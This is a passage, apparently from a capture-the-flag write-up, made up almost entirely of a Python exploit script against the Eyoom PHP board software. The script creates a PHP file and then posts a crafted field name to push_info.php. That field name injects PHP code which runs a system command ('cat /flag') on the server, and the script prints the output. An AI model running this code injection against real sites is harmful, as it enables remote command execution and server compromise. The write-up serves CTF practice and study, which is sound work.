r = s.get(TARGET+"/?theme=poc",cookies=cookies, proxies={"http":"127.0.0.1:8080"})
print("[+] "+filename.decode()+".php created")

# Inject php code to read file
data = {
    "mb_id":filename,
    "push[memo][alarm]":0,
    "push[\".system(\"cat /flag\").\"]":"nothing"
}
r = s.post(TARGET+"/eyoom/core/member/push_info.php",data=data)
print("[+] Execute PHP file...")
r = s.post(TARGET+"/eyoom/core/member/push_info.php",data=data)
print(r.text)

This post is licensed under CC BY 4.0 by the author.